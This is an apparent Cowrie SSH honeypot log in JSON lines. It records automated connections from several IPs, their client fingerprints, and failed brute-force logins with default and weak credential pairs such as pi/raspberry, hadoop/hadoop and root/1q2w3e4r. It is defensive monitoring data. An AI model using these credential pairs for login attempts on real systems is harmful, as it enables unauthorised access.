{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:13:31.244350Z","src_ip":"103.149.28.157","session":"dffbdbe5648c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:13:31.495718Z","src_ip":"103.149.28.157","session":"dffbdbe5648c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:13:32.115928Z","src_ip":"193.151.144.93","session":"7f55943eae70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12021987","message":"login attempt [root/12021987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:13:32.245100Z","src_ip":"103.149.28.157","session":"dffbdbe5648c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:13:33.497072Z","src_ip":"103.149.28.157","session":"dffbdbe5648c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":56186,"dst_ip":"10.17.0.5","dst_port":22,"session":"477b952d4165","protocol":"ssh","message":"New connection: 193.151.144.93:56186 (10.17.0.5:22) [session: 477b952d4165]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:13:35.740635Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:13:35.746713Z","src_ip":"193.151.144.93","session":"477b952d4165","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:13:35.914919Z","src_ip":"193.151.144.93","session":"477b952d4165","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r","message":"login attempt [root/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:13:36.416141Z","src_ip":"193.151.144.93","session":"477b952d4165","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.2","message":"Connection lost after 5.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:13:40.925286Z","src_ip":"193.151.144.93","session":"477b952d4165","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":42364,"dst_ip":"10.17.0.5","dst_port":22,"session":"4acd7f4c0468","protocol":"ssh","message":"New connection: 193.151.144.93:42364 (10.17.0.5:22) [session: 4acd7f4c0468]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:13:41.168992Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:13:41.176813Z","src_ip":"193.151.144.93","session":"4acd7f4c0468","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:13:41.339138Z","src_ip":"193.151.144.93","session":"4acd7f4c0468","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rock","password":"rock","message":"login attempt [rock/rock] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:13:41.826492Z","src_ip":"193.151.144.93","session":"4acd7f4c0468","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.1","message":"Connection lost after 5.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:13:46.294049Z","src_ip":"193.151.144.93","session":"4acd7f4c0468","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":42370,"dst_ip":"10.17.0.5","dst_port":22,"session":"baa04ab1fa47","protocol":"ssh","message":"New connection: 193.151.144.93:42370 (10.17.0.5:22) [session: baa04ab1fa47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:13:46.493125Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:13:46.498654Z","src_ip":"193.151.144.93","session":"baa04ab1fa47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:13:46.668413Z","src_ip":"193.151.144.93","session":"baa04ab1fa47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hduser","password":"hduser","message":"login attempt [hduser/hduser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:13:47.177081Z","src_ip":"193.151.144.93","session":"baa04ab1fa47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:13:48.349699Z","src_ip":"193.151.144.93","session":"baa04ab1fa47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.242.203.160","src_port":49074,"dst_ip":"159.203.135.109","dst_port":22,"session":"b759d29180f6","protocol":"ssh","message":"New connection: 43.242.203.160:49074 (159.203.135.109:22) [session: b759d29180f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:13:50.137426Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:13:50.145773Z","src_ip":"43.242.203.160","session":"b759d29180f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:13:50.358165Z","src_ip":"43.242.203.160","session":"b759d29180f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome123!","message":"login attempt [root/Welcome123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:13:51.267971Z","src_ip":"43.242.203.160","session":"b759d29180f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":54074,"dst_ip":"10.17.0.5","dst_port":22,"session":"0247bad73932","protocol":"ssh","message":"New connection: 193.151.144.93:54074 (10.17.0.5:22) [session: 0247bad73932]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:13:51.840164Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:13:51.845238Z","src_ip":"193.151.144.93","session":"0247bad73932","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:13:52.019458Z","src_ip":"193.151.144.93","session":"0247bad73932","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:13:52.495887Z","src_ip":"43.242.203.160","session":"b759d29180f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123","message":"login attempt [root/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:13:52.547572Z","src_ip":"193.151.144.93","session":"0247bad73932","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:13:53.722850Z","src_ip":"193.151.144.93","session":"0247bad73932","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":54088,"dst_ip":"10.17.0.5","dst_port":22,"session":"ffdf3f053408","protocol":"ssh","message":"New connection: 193.151.144.93:54088 (10.17.0.5:22) [session: ffdf3f053408]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:13:57.271667Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:13:57.283766Z","src_ip":"193.151.144.93","session":"ffdf3f053408","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:13:57.462671Z","src_ip":"193.151.144.93","session":"ffdf3f053408","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"raspberry","message":"login attempt [pi/raspberry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:13:57.991149Z","src_ip":"193.151.144.93","session":"ffdf3f053408","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:13:59.166122Z","src_ip":"193.151.144.93","session":"ffdf3f053408","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":45332,"dst_ip":"10.17.0.5","dst_port":22,"session":"073d92d91688","protocol":"ssh","message":"New connection: 193.151.144.93:45332 (10.17.0.5:22) [session: 073d92d91688]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:14:02.853253Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:14:02.861751Z","src_ip":"193.151.144.93","session":"073d92d91688","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:14:03.022866Z","src_ip":"193.151.144.93","session":"073d92d91688","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop","message":"login attempt [hadoop/hadoop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:14:03.506305Z","src_ip":"193.151.144.93","session":"073d92d91688","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:14:05.075973Z","src_ip":"193.151.144.93","session":"073d92d91688","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":45336,"dst_ip":"10.17.0.5","dst_port":22,"session":"cfef53408fca","protocol":"ssh","message":"New connection: 193.151.144.93:45336 (10.17.0.5:22) [session: cfef53408fca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:14:08.139163Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:14:08.149307Z","src_ip":"193.151.144.93","session":"cfef53408fca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-c